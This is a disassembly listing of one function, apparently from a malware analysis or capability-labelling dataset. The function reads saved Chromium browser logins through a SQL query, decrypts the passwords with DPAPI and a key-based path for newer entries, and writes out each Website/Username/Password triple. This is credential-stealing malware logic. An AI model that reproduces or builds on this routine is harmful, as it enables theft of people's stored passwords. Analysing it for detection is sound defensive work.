Function at 0x1000cc90
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8840
call fcn.100969c0
mov eax, dword [0x100bf358]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x7c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x48], 0
mov dword [ebp - 8], 0
xor edx, edx
mov word [ebp - 0x80], dx
mov dword [ebp - 0xc], 0
push 0x30d40
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1000d171
call fcn.1000cb60
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x1000d16f
mov dword [ebp - 0x90], str.SELECT_origin_url__username_value__password_value_FROM_logins
push 0x100a92f8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x88]
push eax
push 0x100a9300
push 0x7fff
lea ecx, [ebp - 0x8090]
push ecx
call fcn.1009687a
add esp, 0x10
lea edx, [ebp - 0x8c]
push edx
lea eax, [ebp - 0x8090]
push eax
call fcn.10092ef0
add esp, 8
test eax, eax
jne 0x1000d144
push 0
lea ecx, [ebp - 0x8094]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x90]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.10051c60
add esp, 0x14
test eax, eax
jne 0x1000d115
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002e520
add esp, 4
cmp eax, 0x64
jne 0x1000d104
push 0x100a9304
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 0
mov edx, dword [ebp - 0x8094]
push edx
call fcn.1002fa00
add esp, 8
mov dword [ebp - 0x809c], eax
mov eax, dword [ebp - 0x809c]
push eax
push str.Website:__s_r_n
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 1
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002fa00
add esp, 8
mov dword [ebp - 0x80a0], eax
mov edx, dword [ebp - 0x80a0]
push edx
push str.Username:__s_r_n
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 2
mov eax, dword [ebp - 0x8094]
push eax
call fcn.1002f960
add esp, 8
mov dword [ebp - 0x8098], eax
mov ecx, dword [ebp - 0x8098]
movsx edx, byte [ecx]
cmp edx, 0x76
je 0x1000cf36
mov dword [ebp - 0x8498], 0x401
mov eax, dword [ebp - 0x8098]
mov dword [ebp - 0x8494], eax
lea ecx, [ebp - 0x84a0]
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x8498]
push edx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x1000cec5
push str.Password:_N_A_r_n
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
jmp 0x1000cf31
mov eax, dword [ebp - 0x849c]
add eax, dword [ebp - 0x84a0]
mov byte [eax], 0
push 0x3e8
lea ecx, [ebp - 0x8490]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x849c]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x8490]
push eax
push str.Password:__s_r_n
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x849c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x1000d0ff
mov eax, dword [ebp - 0x8098]
movsx ecx, byte [eax]
cmp ecx, 0x76
jne 0x1000d0ff
mov dword [ebp - 0x84a8], 0
mov dword [ebp - 0x84a4], 0
lea edx, [ebp - 0x84a4]
push edx
call fcn.1000c970
add esp, 4
mov dword [ebp - 0x84a8], eax
cmp dword [ebp - 0x84a8], 0
je 0x1000d0ff
push 0x64
push 0
lea eax, [ebp - 0x8840]
push eax
call fcn.10096800
add esp, 0xc
push 0xc
mov ecx, dword [ebp - 0x8098]
add ecx, 3
push ecx
lea edx, [ebp - 0x8840]
push edx
call fcn.10096340
add esp, 0xc
push 0x64
push 0
lea eax, [ebp - 0x87d0]
push eax
call fcn.10096800
add esp, 0xc
push 2
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002f820
add esp, 8
mov dword [ebp - 0x8634], eax
cmp dword [ebp - 0x8634], 0
jne 0x1000cfe4
jmp 0x1000cd96
mov edx, dword [ebp - 0x8634]
sub edx, 0xf
mov dword [ebp - 0x8634], edx
mov eax, dword [ebp - 0x8634]
push eax
mov ecx, dword [ebp - 0x8098]
add ecx, 0xf
push ecx
lea edx, [ebp - 0x87d0]
push edx
call fcn.10096340
add esp, 0xc
mov eax, dword [ebp - 0x8634]
mov dword [ebp - 0x87d4], eax
lea ecx, [ebp - 0x8630]
push ecx
call fcn.10001000
add esp, 4
mov edx, dword [ebp - 0x84a4]
shl edx, 3
push edx
mov eax, dword [ebp - 0x84a8]
push eax
push 2
lea ecx, [ebp - 0x8630]
push ecx
call fcn.10001270
add esp, 0x10
test eax, eax
je 0x1000d059
jmp 0x1000cd96
push 0
push 0
push 0xc
lea edx, [ebp - 0x8840]
push edx
push 0
lea eax, [ebp - 0x8630]
push eax
call fcn.100018b0
add esp, 0x18
test eax, eax
je 0x1000d080
jmp 0x1000cd96
push 0x12c
push 0
lea ecx, [ebp - 0x8768]
push ecx
call fcn.10096800
add esp, 0xc
lea edx, [ebp - 0x8768]
push edx
lea eax, [ebp - 0x87d0]
push eax
mov ecx, dword [ebp - 0x87d4]
push ecx
lea edx, [ebp - 0x8630]
push edx
call fcn.10001ae0
add esp, 0x10
test eax, eax
je 0x1000d0c3
jmp 0x1000cd96
mov eax, dword [ebp - 0x87d4]
mov byte [ebp + eax - 0x8778], 0
lea ecx, [ebp - 0x8768]
push ecx
push 0x100a9388
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x1000cd96
mov eax, dword [ebp - 0x8094]
push eax
call fcn.10029dc0
add esp, 4
jmp 0x1000d133
push str.sqlite3_prepare_v2___failed._The_database_might_be_busy._Try_closing_the_browser._r_n
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.10090ff0
add esp, 4
jmp 0x1000d162
push str.sqlite3_open___failed._The_database_might_be_busy._Try_closing_the_browser._r_n
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1000d177
lea eax, [ebp - 0x80]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov dword [ebp - 0x84], edx
lea eax, [ebp - 0x44]
push eax
push 4
lea ecx, [ebp - 0x84]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
push 1
call fcn.10009a70
add esp, 0x1c
cmp eax, 4
jne 0x1000d202
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 4]
push edx
push 1
call fcn.10009a70
add esp, 0x1c
cmp eax, dword [ebp - 0x84]
jne 0x1000d1f9
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x80]
cmp eax, ecx
je 0x1000d1f0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x1000d220
mov dword [ebp - 0x7c], 0xffffffff
jmp 0x1000d209
mov dword [ebp - 0x7c], 0xffffffff
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x80]
cmp eax, ecx
je 0x1000d21d
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1009625b
mov esp, ebp
pop ebp
ret